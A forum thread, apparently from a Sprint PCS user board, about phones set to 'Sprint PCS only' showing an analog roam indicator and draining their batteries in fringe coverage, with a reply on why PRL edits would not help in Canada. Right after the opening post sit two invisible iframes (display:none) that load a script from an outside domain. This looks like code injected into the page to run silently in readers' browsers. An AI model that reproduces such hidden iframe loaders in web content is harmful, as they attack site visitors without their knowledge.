I always keep my phone set to "Srint PCS only" in the roaming preferances menu. There's no reason the phone should ever go to analog roam. I noticed that sometimes in buildings or fringe areas where I can't get a digital SPCS signal, the analog roam indicator comes on. I don't think this should be happening. Does anyone else experience this?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
i have experienced this also, but if you look closer, there will be a slash thru the phone indicator on the screen to let you know you dont have service and that you are in a "roaming" environment. i think that happens to phones set to "pcs only" so they know if they are out of the pcs network,. it will tell them they have a analog signal, just in case you need a signal to use..
Yep it makes perfect sense. I think you're right. That must be what it means. My older phones never displayed the "A" icon unless I was actually roaming with an analog carrier.
This is anecdotal: I think that there is a strong possibility that the situation RJS mentioned does actually diminish some of the battery power of the phone.
I’ve stayed at the same general location before, once in a room receiving a strong digital signal and once in a room receiving a weak digital signal (had my phone on “Sprint PCS only” both times). In the later situation the phones analog roam indicator would come on from time to time and I noticed the phone’s battery life was much more diminished than in the former situation. Does this make sense and why would that be?
With my phone set on Sprint PCS only, I had my battery die overnight while I spent the night recently in an area just on the fringe of Sprint's coverage.
1.) If you set your handset to "Sprint PCS Only" and leave their
digital coverage, you will the Analog Roam indicator to indicate
that you are in Analog Only coverage, and the No Service
Indicator, since you chose "Sprint PCS Only". The way this
works is dictated by Sprint PCS User Interface requirements,
and all current Sprint PCS handsets exhibit the same behavior,
given the same environment.
2.) Operating in Analog mode does decrease battery life. In digital
coverage, the handset can go into a "sleep mode", conserving
batery power; in analog mode the handset is always "on".
even if your in sprints service but on a firnge area, that will cause the phone to use up more juice since it has to x-mit more power to the x-mitter...
Besides using being jacked up to the max power in a "fringe" area, it will also typically spend more time scanning for a better
channel frequency, again more quickly using battery power.
Simply attempting to hack changes into the PRL wouldn't resolve
your dilemma. The Preferred Roaming List has all the allowed digital and analog frequencies that a handset is allowed to scan
and is configured to conform with existing roaming agreements that Sprint PCS has with other carriers.
Putting a entry in the PRL to a local carrier band frequency that wasn't covered by a roaming agreement wouldn't work because
while the handset might be able to register on the local CDMA network, it wouldn't have the requisite configuration information to allow the handset to get service - in this case you usually get a recording asking for credit card info to complete a call..
Another problem is digital coverage in the area where you reside
(you didn't say where you lived in Canada ). If you are in an area
that doesn't have CDMA coverage - as with some areas that only
have Rogers-AT&T TDMA coverage - the only available option for the handset is analog.
If you live in an area that you know to have CDMA coverage from
a carrier like Telus, the only real option is to work your way up the Sprint PCS tech support food chain complaining about lack of digital CDMA roaming in your local area.
Sorry not to be able to be of more help on this one.....
Login
Panel
